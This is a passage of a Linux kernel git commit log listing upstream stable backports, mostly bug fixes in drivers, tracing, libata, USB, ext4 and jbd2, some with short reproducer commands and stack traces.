mddev->persistent != !info->not_persistent || Signed-off-by: Firo Yang Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5dafbdd2e0511eb8e680293ffb5cd076892348a5 Author: Stevens, Nick Date: Wed Jul 1 16:07:41 2015 +0000 hwmon: (mcp3021) Fix broken output scaling commit 347d7e45bd09ce09cbc30d5cea9de377eb22f55c upstream. The mcp3021 scaling code is dividing the VDD (full-scale) value in millivolts by the A2D resolution to obtain the scaling factor. When VDD is 3300mV (the standard value) and the resolution is 12-bit (4096 divisions), the result is a scale factor of 3300/4096, which is always one. Effectively, the raw A2D reading is always being returned because no scaling is applied. This patch fixes the issue and simplifies the register-to-volts calculation, removing the unneeded "output_scale" struct member. Signed-off-by: Nick Stevens [Guenter Roeck: Dropped unnecessary value check] Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8b085a46b5805b3066e025e718104e3f46571d58 Author: Lior Amsalem Date: Tue May 26 15:07:32 2015 +0200 dmaengine: mv_xor: bug fix for racing condition in descriptors cleanup commit 9136291f1dbc1d4d1cacd2840fb35f4f3ce16c46 upstream. This patch fixes a bug in the XOR driver where the cleanup function can be called and free descriptors that never been processed by the engine (which result in data errors). The cleanup function will free descriptors based on the ownership bit in the descriptors. Fixes: ff7b04796d98 ("dmaengine: DMA engine driver for Marvell XOR engine") Signed-off-by: Lior Amsalem Signed-off-by: Maxime Ripard Reviewed-by: Ofer Heifetz Signed-off-by: Vinod Koul Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1c0efd4c0e911460a1dc397db310f56cb1434302 Author: Steven Rostedt (Red Hat) Date: Tue Jul 7 15:05:03 2015 -0400 tracing: Have branch tracer use recursive field of task struct commit 6224beb12e190ff11f3c7d4bf50cb2922878f600 upstream. Fengguang Wu's tests triggered a bug in the branch tracer's start up test when CONFIG_DEBUG_PREEMPT set. This was because that config adds some debug logic in the per cpu field, which calls back into the branch tracer. The branch tracer has its own recursive checks, but uses a per cpu variable to implement it. If retrieving the per cpu variable calls back into the branch tracer, you can see how things will break. Instead of using a per cpu variable, use the trace_recursion field of the current task struct. Simply set a bit when entering the branch tracing and clear it when leaving. If the bit is set on entry, just don't do the tracing. There's also the case with lockdep, as the local_irq_save() called before the recursion can also trigger code that can call back into the function. Changing that to a raw_local_irq_save() will protect that as well. This prevents the recursion and the inevitable crash that follows. Link: http://lkml.kernel.org/r/20150630141803.GA28071@wfg-t540p.sh.intel.com Reported-by: Fengguang Wu Tested-by: Fengguang Wu Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 15ae3d0648eaea8b184fbff3eae400d1ced07af4 Author: Steven Rostedt (Red Hat) Date: Thu Jun 25 18:10:09 2015 -0400 tracing/filter: Do not allow infix to exceed end of string commit 6b88f44e161b9ee2a803e5b2b1fbcf4e20e8b980 upstream. While debugging a WARN_ON() for filtering, I found that it is possible for the filter string to be referenced after its end. With the filter: # echo '>' > /sys/kernel/debug/events/ext4/ext4_truncate_exit/filter The filter_parse() function can call infix_get_op() which calls infix_advance() that updates the infix filter pointers for the cnt and tail without checking if the filter is already at the end, which will put the cnt to zero and the tail beyond the end. The loop then calls infix_next() that has ps->infix.cnt--; return ps->infix.string[ps->infix.tail++]; The cnt will now be below zero, and the tail that is returned is already passed the end of the filter string. So far the allocation of the filter string usually has some buffer that is zeroed out, but if the filter string is of the exact size of the allocated buffer there's no guarantee that the charater after the nul terminating character will be zero. Luckily, only root can write to the filter. Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c5580cec072f6b1d37fe3ed131346f24a998896d Author: Steven Rostedt (Red Hat) Date: Thu Jun 25 18:02:29 2015 -0400 tracing/filter: Do not WARN on operand count going below zero commit b4875bbe7e68f139bd3383828ae8e994a0df6d28 upstream. When testing the fix for the trace filter, I could not come up with a scenario where the operand count goes below zero, so I added a WARN_ON_ONCE(cnt < 0) to the logic. But there is legitimate case that it can happen (although the filter would be wrong). # echo '>' > /sys/kernel/debug/events/ext4/ext4_truncate_exit/filter That is, a single operation without any operands will hit the path where the WARN_ON_ONCE() can trigger. Although this is harmless, and the filter is reported as a error. But instead of spitting out a warning to the kernel dmesg, just fail nicely and report it via the proper channels. Link: http://lkml.kernel.org/r/558C6082.90608@oracle.com Reported-by: Vince Weaver Reported-by: Sasha Levin Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9b1789ea6368a8f4b56f81a34cf328819b8bbb5e Author: Arne Fitzenreiter Date: Wed Jul 15 13:54:37 2015 +0200 libata: force disable trim for SuperSSpeed S238 commit cda57b1b05cf7b8b99ab4b732bea0b05b6c015cc upstream. This device loses blocks, often the partition table area, on trim. Disable TRIM. http://pcengines.ch/msata16a.htm Signed-off-by: Arne Fitzenreiter Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 33792de5a58136516fdc11c2b75849043e9cf6ec Author: Arne Fitzenreiter Date: Wed Jul 15 13:54:36 2015 +0200 libata: add ATA_HORKAGE_NOTRIM commit 71d126fd28de2d4d9b7b2088dbccd7ca62fad6e0 upstream. Some devices lose data on TRIM whether queued or not. This patch adds a horkage to disable TRIM. tj: Collapsed unnecessary if() nesting. Signed-off-by: Arne Fitzenreiter Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit af3abbab1d9900ef4daff76827b64c8f8b71b592 Author: Hon Ching \\\\(Vicky\\\\) Lo Date: Fri May 22 13:23:02 2015 -0400 vTPM: set virtual device before passing to ibmvtpm_reset_crq commit 9d75f08946e8485109458ccf16f714697c207f41 upstream. tpm_ibmvtpm_probe() calls ibmvtpm_reset_crq(ibmvtpm) without having yet set the virtual device in the ibmvtpm structure. So in ibmvtpm_reset_crq, the phype call contains empty unit addresses, ibmvtpm->vdev->unit_address. Signed-off-by: Hon Ching(Vicky) Lo Signed-off-by: Joy Latten Reviewed-by: Ashley Lai Fixes: 132f76294744 ("drivers/char/tpm: Add new device driver to support IBM vTPM") Signed-off-by: Peter Huewe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1283d3f40854305b0ef61f39ceab9c8e868495d0 Author: Eric Sandeen Date: Mon Jun 22 09:42:48 2015 +1000 xfs: fix remote symlinks on V5/CRC filesystems commit 2ac56d3d4bd625450a54d4c3f9292d58f6b88232 upstream. If we create a CRC filesystem, mount it, and create a symlink with a path long enough that it can't live in the inode, we get a very strange result upon remount: # ls -l mnt total 4 lrwxrwxrwx. 1 root root 929 Jun 15 16:58 link -> XSLM XSLM is the V5 symlink block header magic (which happens to be followed by a NUL, so the string looks terminated). xfs_readlink_bmap() advanced cur_chunk by the size of the header for CRC filesystems, but never actually used that pointer; it kept reading from bp->b_addr, which is the start of the block, rather than the start of the symlink data after the header. Looks like this problem goes back to v3.10. Fixing this gets us reading the proper link target, again. Signed-off-by: Eric Sandeen Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0d61a72d67339a07addc8591f355d408ec83112e Author: Zhao Junwang Date: Tue Jul 7 17:08:35 2015 +0800 drm: add a check for x/y in drm_mode_setcrtc commit 01447e9f04ba1c49a9534ae6a5a6f26c2bb05226 upstream. legacy setcrtc ioctl does take a 32 bit value which might indeed overflow the checks of crtc_req->x > INT_MAX and crtc_req->y > INT_MAX aren't needed any more with this v2: -polish the annotation according to Daniel's comment Cc: Daniel Vetter Signed-off-by: Zhao Junwang Signed-off-by: Daniel Vetter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c92400628c25ff4f832904e3982ff224b4d31708 Author: Michel Dänzer Date: Fri Jul 3 10:02:27 2015 +0900 drm/radeon: Don't flush the GART TLB if rdev->gart.ptr == NULL commit 233709d2cd6bbaaeda0aeb8d11f6ca7f98563b39 upstream. This can be the case when the GPU is powered off, e.g. via vgaswitcheroo or runpm. When the GPU is powered up again, radeon_gart_table_vram_pin flushes the TLB after setting rdev->gart.ptr to non-NULL. Fixes panic on powering off R7xx GPUs. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=61529 Reviewed-by: Christian König Signed-off-by: Michel Dänzer Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eed25165da52460bc2c583aebf08bf084886fcf0 Author: Alex Deucher Date: Fri May 15 11:48:52 2015 -0400 drm/radeon: take the mode_config mutex when dealing with hpds (v2) commit 39fa10f7e21574a70cecf1fed0f9b36535aa68a0 upstream. Since we are messing with state in the worker. v2: drop the changes in the mst worker Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b6716ed9d21b267c488508b5b825c026358adbd6 Author: Frediano Ziglio Date: Wed Jun 3 12:09:09 2015 +0100 drm/qxl: Do not cause spice-server to clean our objects commit 2fa19535ca6abcbfd1ccc9ef694db52f49f77747 upstream. If objects are moved back from system memory to VRAM (and spice id created again) memory is already initialized so we need to set flag to not clear memory. If you don't do it after a while using desktop many images turns to black or transparents. Signed-off-by: Frediano Ziglio Reviewed-by: Dave Airlie Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8e4b763c05d92f7d777ac567e52a98bed66b6aa4 Author: Tomas Winkler Date: Thu Jul 16 15:50:45 2015 +0200 mmc: block: Add missing mmc_blk_put() in power_ro_lock_show() commit 9098f84cced870f54d8c410dd2444cfa61467fa0 upstream. Enclosing mmc_blk_put() is missing in power_ro_lock_show() sysfs handler, let's add it. Fixes: add710eaa886 ("mmc: boot partition ro lock support") Signed-off-by: Tomas Winkler Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f16bdeba46846fd59d49bb504b167b6195c921b8 Author: Joe Thornber Date: Fri Jul 3 14:51:32 2015 +0100 dm btree: silence lockdep lock inversion in dm_btree_del() commit 1c7518794a3647eb345d59ee52844e8a40405198 upstream. Allocate memory using GFP_NOIO when deleting a btree. dm_btree_del() can be called via an ioctl and we don't want to recurse into the FS or block layer. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b8befd270783b2b6754d36a7dcd67bbed446043d Author: Dennis Yang Date: Fri Jun 26 15:25:48 2015 +0100 dm btree remove: fix bug in redistribute3 commit 4c7e309340ff85072e96f529582d159002c36734 upstream. redistribute3() shares entries out across 3 nodes. Some entries were being moved the wrong way, breaking the ordering. This manifested as a BUG() in dm-btree-remove.c:shift() when entries were removed from the btree. For additional context see: https://www.redhat.com/archives/dm-devel/2015-May/msg00113.html Signed-off-by: Dennis Yang Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 99a9f3c1979dffb213431b9fab74d0da376f977b Author: AMAN DEEP Date: Tue Jul 21 17:20:27 2015 +0300 usb: xhci: Bugfix for NULL pointer deference in xhci_endpoint_init() function commit 3496810663922617d4b706ef2780c279252ddd6a upstream. virt_dev->num_cached_rings counts on freed ring and is not updated correctly. In xhci_free_or_cache_endpoint_ring() function, the free ring is added into cache and then num_rings_cache is incremented as below: virt_dev->ring_cache[rings_cached] = virt_dev->eps[ep_index].ring; virt_dev->num_rings_cached++; here, free ring pointer is added to a current index and then index is incremented. So current index always points to empty location in the ring cache. For getting available free ring, current index should be decremented first and then corresponding ring buffer value should be taken from ring cache. But In function xhci_endpoint_init(), the num_rings_cached index is accessed before decrement. virt_dev->eps[ep_index].new_ring = virt_dev->ring_cache[virt_dev->num_rings_cached]; virt_dev->ring_cache[virt_dev->num_rings_cached] = NULL; virt_dev->num_rings_cached--; This is bug in manipulating the index of ring cache. And it should be as below: virt_dev->num_rings_cached--; virt_dev->eps[ep_index].new_ring = virt_dev->ring_cache[virt_dev->num_rings_cached]; virt_dev->ring_cache[virt_dev->num_rings_cached] = NULL; Signed-off-by: Aman Deep Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 704f73debc80b4eb27d30d1d624c9c4b05396d34 Author: Claudio Cappelli Date: Wed Jun 10 20:38:30 2015 +0200 USB: option: add 2020:4000 ID commit f6d7fb37f92622479ef6da604f27561f5045ba1e upstream. Add device Olivetti Olicard 300 (Network Connect: MT6225) - IDs 2020:4000. T: Bus=01 Lev=02 Prnt=04 Port=00 Cnt=01 Dev#= 10 Spd=480 MxCh= 0 D: Ver= 2.00 Cls=ef(misc ) Sub=02 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=2020 ProdID=4000 Rev=03.00 S: Manufacturer=Network Connect S: Product=MT6225 C: #Ifs= 7 Cfg#= 1 Atr=a0 MxPwr=500mA I: If#= 0 Alt= 0 #EPs= 1 Cls=02(commc) Sub=0e Prot=00 Driver=cdc_mbim I: If#= 1 Alt= 1 #EPs= 2 Cls=0a(data ) Sub=00 Prot=02 Driver=cdc_mbim I: If#= 2 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=02 Prot=01 Driver=option I: If#= 3 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 4 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 5 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 6 Alt= 0 #EPs= 2 Cls=08(stor.) Sub=06 Prot=50 Driver=usb-storage Signed-off-by: Claudio Cappelli Suggested-by: Lars Melin [johan: amend commit message with devices info ] Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 887b2fc38eae049b1f6f29ca58a80c888b95a3d2 Author: Peter Sanford Date: Thu Jun 25 17:40:05 2015 -0700 USB: cp210x: add ID for Aruba Networks controllers commit f98a7aa81eeeadcad25665c3501c236d531d4382 upstream. Add the USB serial console device ID for Aruba Networks 7xxx series controllers which have a USB port for their serial console. Signed-off-by: Peter Sanford Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3ebf43327ccc023cfac7779c7a9a6a8991a51907 Author: Dan Carpenter Date: Mon May 18 15:29:51 2015 +0300 USB: devio: fix a condition in async_completed() commit 83ed07c5db71bc02bd646d6eb60b48908235cdf9 upstream. Static checkers complain that the current condition is never true. It seems pretty likely that it's a typo and "URB" was intended instead of "USB". Fixes: 3d97ff63f899 ('usbdevfs: Use scatter-gather lists for large bulk transfers') Signed-off-by: Dan Carpenter Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c8bdce8fc64a81939f9964f33c068a14f7ce45c6 Author: John Youn Date: Mon Sep 17 00:00:00 2001 -0700 usb: dwc3: Reset the transfer resource index on SET_INTERFACE commit aebda618718157a69c0dc0adb978d69bc2b8723c upstream. This fixes an issue introduced in commit b23c843992b6 (usb: dwc3: gadget: fix DEPSTARTCFG for non-EP0 EPs) that made sure we would only use DEPSTARTCFG once per SetConfig. The trick is that we should use one DEPSTARTCFG per SetConfig *OR* SetInterface. SetInterface was completely missed from the original patch. This problem became aparent after commit 76e838c9f776 (usb: dwc3: gadget: return error if command sent to DEPCMD register fails) added checking of the return status of device endpoint commands. 'Set Endpoint Transfer Resource' command was caught failing occasionally. This is because the Transfer Resource Index was not getting reset during a SET_INTERFACE request. Finally, to fix the issue, was we have to do is make sure that our start_config_issued flag gets reset whenever we receive a SetInterface request. To verify the problem (and its fix), all we have to do is run test 9 from testusb with 'testusb -t 9 -s 2048 -a -c 5000'. Tested-by: Huang Rui Tested-by: Subbaraya Sundeep Bhatta Fixes: b23c843992b6 (usb: dwc3: gadget: fix DEPSTARTCFG for non-EP0 EPs) Signed-off-by: John Youn Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit de65d45e57c1849c33b78ce1ee1ac75694c57a98 Author: Subbaraya Sundeep Bhatta Date: Thu May 21 15:46:48 2015 +0530 usb: dwc3: gadget: return error if command sent to DEPCMD register fails commit 76e838c9f7765f9a6205b4d558d75a66104bc60d upstream. We need to return error to caller if command is not sent to controller succesfully. Signed-off-by: Subbaraya Sundeep Bhatta Fixes: 72246da40f37 (usb: Introduce DesignWare USB3 DRD Driver) Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 52ba42707a3783921b5c24eaf9567d84414c513c Author: Subbaraya Sundeep Bhatta Date: Thu May 21 15:46:47 2015 +0530 usb: dwc3: gadget: return error if command sent to DGCMD register fails commit 891b1dc022955d36cf4c0f42d383226a930db7ed upstream. We need to return error to caller if command is not sent to controller succesfully. Signed-off-by: Subbaraya Sundeep Bhatta Fixes: b09bb64239c8 (usb: dwc3: gadget: implement Global Command support) Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b701792a96dd84d16949ab50cb72f496c3d91217 Author: Mikulas Patocka Date: Wed Jul 8 13:06:12 2015 -0400 libata: increase the timeout when setting transfer mode commit d531be2ca2f27cca5f041b6a140504999144a617 upstream. I have a ST4000DM000 disk. If Linux is booted while the disk is spun down, the command that sets transfer mode causes the disk to spin up. The spin-up takes longer than the default 5s timeout, so the command fails and timeout is reported. Fix this by increasing the timeout to 15s, which is enough for the disk to spin up. Signed-off-by: Mikulas Patocka Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 89e695db40a0e10c22b4922cabf272b6a22be208 Author: Aleksei Mamlin Date: Wed Jul 1 13:48:30 2015 +0300 libata: add ATA_HORKAGE_BROKEN_FPDMA_AA quirk for HP 250GB SATA disk VB0250EAVER commit 08c85d2a599d967ede38a847f5594447b6100642 upstream. Enabling AA on HP 250GB SATA disk VB0250EAVER causes errors: [ 3.788362] ata3.00: failed to enable AA (error_mask=0x1) [ 3.789243] ata3.00: failed to enable AA (error_mask=0x1) Add the ATA_HORKAGE_BROKEN_FPDMA_AA for this specific harddisk. tj: Collected FPDMA_AA entries and updated comment. Signed-off-by: Aleksei Mamlin Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1733f584e7c7b8623be24c8dc4c0a928c0b13e11 Author: Zidan Wang Date: Thu Jun 11 19:14:36 2015 +0800 ASoC: wm8960: the enum of "DAC Polarity" should be wm8960_enum[1] commit a077e81ec61e07a7f86997d045109f06719fbffe upstream. the enum of "DAC Polarity" should be wm8960_enum[1]. Signed-off-by: Zidan Wang Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4d04aa5b7d677073f81b6c026c9709cdd35a65db Author: Axel Lin Date: Mon May 11 09:04:06 2015 +0800 ASoC: wm8903: Fix define for WM8903_VMID_RES_250K commit ebb6ad73e645b8f2d098dd3c41d2ff0da4146a02 upstream. VMID Control 0 BIT[2:1] is VMID Divider Enable and Select 00 = VMID disabled (for OFF mode) 01 = 2 x 50kΩ divider (for normal operation) 10 = 2 x 250kΩ divider (for low power standby) 11 = 2 x 5kΩ divider (for fast start-up) So WM8903_VMID_RES_250K should be 2 << 1, which is 4. Signed-off-by: Axel Lin Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2206f1a4a7b4a66399c26f5f42366026c59cd4cc Author: Axel Lin Date: Fri May 15 09:15:16 2015 +0800 ASoC: wm8955: Fix setting wrong register for WM8955_K_8_0_MASK bits commit 12c350050538c7dc779c083b7342bfd20f74949c upstream. WM8955_K_8_0_MASK bits is controlled by WM8955_PLL_CONTROL_3 rather than WM8955_PLL_CONTROL_2. Signed-off-by: Axel Lin Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e675f05ca0edd38bae2d9c003b6a8bd05b0366f1 Author: Axel Lin Date: Sun May 10 11:35:06 2015 +0800 ASoC: wm8737: Fixup setting VMID Impedance control register commit 14ba3ec1de043260cecd9e828ea2e3a0ad302893 upstream. According to the datasheet: R10 (0Ah) VMID Impedance Control BIT 3:2 VMIDSEL DEFAULT 00 DESCRIPTION: VMID impedance selection control 00: 75kΩ output 01: 300kΩ output 10: 2.5kΩ output WM8737_VMIDSEL_MASK is 0xC (VMIDSEL - [3:2]), so it needs to left shift WM8737_VMIDSEL_SHIFT bits for setting these bits. Signed-off-by: Axel Lin Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ba96f52ff906e86a6b0cda5ce4cbdbe69885dcd8 Author: Mauro Carvalho Chehab Date: Tue Apr 28 18:51:17 2015 -0300 cx24116: fix a buffer overflow when checking userspace params commit 1fa2337a315a2448c5434f41e00d56b01a22283c upstream. The maximum size for a DiSEqC command is 6, according to the userspace API. However, the code allows to write up much more values: drivers/media/dvb-frontends/cx24116.c:983 cx24116_send_diseqc_msg() error: buffer overflow 'd->msg' 6 <= 23 Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bd967cb529ccb205601179f671ba47bb2f0b1e7d Author: Mauro Carvalho Chehab Date: Tue Apr 28 18:34:40 2015 -0300 s5h1420: fix a buffer overflow when checking userspace params commit 12f4543f5d6811f864e6c4952eb27253c7466c02 upstream. The maximum size for a DiSEqC command is 6, according to the userspace API. However, the code allows to write up to 7 values: drivers/media/dvb-frontends/s5h1420.c:193 s5h1420_send_master_cmd() error: buffer overflow 'cmd->msg' 6 <= 7 Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f866be46565b6efb17e06aef42f88ca40eaa67a Author: Mauro Carvalho Chehab Date: Tue Apr 28 19:02:19 2015 -0300 af9013: Don't accept invalid bandwidth commit d7b76c91f471413de9ded837bddeca2164786571 upstream. If userspace sends an invalid bandwidth, it should either return EINVAL or switch to auto mode. This driver will go past an array and program the hardware on a wrong way if this happens. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df91ce6028e3b7c79d06118869d1e4f8d6c8b12c Author: JM Friedt Date: Fri Jun 19 14:48:06 2015 +0200 iio: DAC: ad5624r_spi: fix bit shift of output data value commit adfa969850ae93beca57f7527f0e4dc10cbe1309 upstream. The value sent on the SPI bus is shifted by an erroneous number of bits. The shift value was already computed in the iio_chan_spec structure and hence subtracting this argument to 16 yields an erroneous data position in the SPI stream. Signed-off-by: JM Friedt Acked-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 874c7266e9256f69548509d192245763c1edf68e Author: Cyrille Pitchen Date: Tue Jun 9 18:22:14 2015 +0200 i2c: at91: fix a race condition when using the DMA controller commit 93563a6a71bb69dd324fc7354c60fb05f84aae6b upstream. For TX transactions, the TXCOMP bit in the Status Register is cleared when the first data is written into the Transmit Holding Register. In the lines from at91_do_twi_transfer(): at91_twi_write_data_dma(dev); at91_twi_write(dev, AT91_TWI_IER, AT91_TWI_TXCOMP); the TXCOMP interrupt may be enabled before the DMA controller has actually started to write into the THR. In such a case, the TXCOMP bit is still set into the Status Register so the interrupt is triggered immediately. The driver understands that a transaction completion has occurred but this transaction hasn't started yet. Hence the TXCOMP interrupt is no longer enabled by at91_do_twi_transfer() but instead by at91_twi_write_data_dma_callback(). Also, the TXCOMP bit in the Status Register in not a clear on read flag but a snapshot of the transmission state at the time the Status Register is read. When a NACK error is dectected by the I2C controller, the TXCOMP, NACK and TXRDY bits are set together to 1 in the SR. If enabled, the TXCOMP interrupt is triggered at the same time. Also setting the TXRDY to 1 triggers the DMA controller to write the next data into the THR. Such a write resets the TXCOMP bit to 0 in the SR. So depending on when the interrupt handler reads the SR, it may fail to detect the NACK error if it relies on the TXCOMP bit. The NACK bit and its interrupt should be used instead. For RX transactions, the TXCOMP bit in the Status Register is cleared when the START bit is set into the Control Register. However to unify the management of the TXCOMP bit when the DMA controller is used, the TXCOMP interrupt is now enabled by the DMA callbacks for both TX and RX transfers. Signed-off-by: Cyrille Pitchen Acked-by: Ludovic Desroches Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 76602c03edcf759d42f2626ad7e594548511f474 Author: Joseph Qi Date: Mon Jun 15 14:36:01 2015 -0400 jbd2: fix ocfs2 corrupt when updating journal superblock fails commit 6f6a6fda294506dfe0e3e0a253bb2d2923f28f0a upstream. If updating journal superblock fails after journal data has been flushed, the error is omitted and this will mislead the caller as a normal case. In ocfs2, the checkpoint will be treated successfully and the other node can get the lock to update. Since the sb_start is still pointing to the old log block, it will rewrite the journal data during journal recovery by the other node. Thus the new updates will be overwritten and ocfs2 corrupts. So in above case we have to return the error, and ocfs2_commit_cache will take care of the error and prevent the other node to do update first. And only after recovering journal it can do the new updates. The issue discussion mail can be found at: https://oss.oracle.com/pipermail/ocfs2-devel/2015-June/010856.html http://comments.gmane.org/gmane.comp.file-systems.ext4/48841 [ Fixed bug in patch which allowed a non-negative error return from jbd2_cleanup_journal_tail() to leak out of jbd2_fjournal_flush(); this was causing xfstests ext4/306 to fail. -- Ted ] Reported-by: Yiwen Jiang Signed-off-by: Joseph Qi Signed-off-by: Theodore Ts'o Tested-by: Yiwen Jiang Cc: Junxiao Bi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 370692fda24fc4552471bf873d442def4970a31f Author: Dmitry Monakhov Date: Mon Jun 15 00:18:02 2015 -0400 jbd2: use GFP_NOFS in jbd2_cleanup_journal_tail() commit b4f1afcd068f6e533230dfed00782cd8a907f96b upstream. jbd2_cleanup_journal_tail() can be invoked by jbd2__journal_start() So allocations should be done with GFP_NOFS [Full stack trace snipped from 3.10-rh7] [] dump_stack+0x19/0x1b [] warn_slowpath_common+0x61/0x80 [] warn_slowpath_null+0x1a/0x20 [] slab_pre_alloc_hook.isra.31.part.32+0x15/0x17 [] kmem_cache_alloc+0x55/0x210 [] ? mempool_alloc_slab+0x15/0x20 [] mempool_alloc_slab+0x15/0x20 [] mempool_alloc+0x69/0x170 [] ? _raw_spin_unlock_irq+0xe/0x20 [] ? finish_task_switch+0x5d/0x150 [] bio_alloc_bioset+0x1be/0x2e0 [] blkdev_issue_flush+0x99/0x120 [] jbd2_cleanup_journal_tail+0x93/0xa0 [jbd2] -->GFP_KERNEL [] jbd2_log_do_checkpoint+0x221/0x4a0 [jbd2] [] __jbd2_log_wait_for_space+0xa7/0x1e0 [jbd2] [] start_this_handle+0x2d8/0x550 [jbd2] [] ? __memcg_kmem_put_cache+0x29/0x30 [] ? kmem_cache_alloc+0x130/0x210 [] jbd2__journal_start+0xba/0x190 [jbd2] [] ? lru_cache_add+0xe/0x10 [] ? ext4_da_write_begin+0xf9/0x330 [ext4] [] __ext4_journal_start_sb+0x77/0x160 [ext4] [] ext4_da_write_begin+0xf9/0x330 [ext4] [] generic_file_buffered_write_iter+0x10c/0x270 [] __generic_file_write_iter+0x178/0x390 [] __generic_file_aio_write+0x8b/0xb0 [] generic_file_aio_write+0x5d/0xc0 [] ext4_file_write+0xa9/0x450 [ext4] [] ? pipe_read+0x379/0x4f0 [] do_sync_write+0x90/0xe0 [] vfs_write+0xbd/0x1e0 [] SyS_write+0x58/0xb0 [] system_call_fastpath+0x16/0x1b Signed-off-by: Dmitry Monakhov Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit de0cff1d21a9979a3673b40cd0dc3a23dcf8f415 Author: Michal Hocko Date: Sun Jul 5 12:33:44 2015 -0400 ext4: replace open coded nofail allocation in ext4_free_blocks() commit 7444a072c387a93ebee7066e8aee776954ab0e41 upstream. ext4_free_blocks is looping around the allocation request and mimics __GFP_NOFAIL behavior without any allocation fallback strategy. Let's remove the open coded loop and replace it with __GFP_NOFAIL. Without the flag the allocator has no way to find out never-fail requirement and cannot help in any way. Signed-off-by: Michal Hocko Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4101a960778c923c078973bcb7becbe95c1a8bc1 Author: Eryu Guan Date: Sat Jul 4 00:03:44 2015 -0400 ext4: correctly migrate a file with a hole at the beginning commit 8974fec7d72e3e02752fe0f27b4c3719c78d9a15 upstream. Currently ext4_ind_migrate() doesn't correctly handle a file which contains a hole at the beginning of the file. This caused the migration to be done incorrectly, and then if there is a subsequent following delayed allocation write to the "hole", this would reclaim the same data blocks again and results in fs corruption. # assmuing 4k block size ext4, with delalloc enabled # skip the first block and write to the second block xfs_io -fc "pwrite 4k 4k" -c "fsync" /mnt/ext4/testfile # converting to indirect-mapped file, which would move the data blocks # to the beginning of the file, but extent status cache still marks # that region as a hole chattr -e /mnt/ext4/testfile # delayed allocation writes to the "hole", reclaim the same data block # again, results in i_blocks corruption xfs_io -c "pwrite 0 4k" /mnt/ext4/testfile umount /mnt/ext4 e2fsck -nf /dev/sda6 ... Inode 53, i_blocks is 16, should be 8. Fix? no ... Signed-off-by: Eryu Guan Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c9aab4432939b3995def9d564e57c16e7c440b40 Author: Eryu Guan Date: Fri Jul 3 23:56:50 2015 -0400 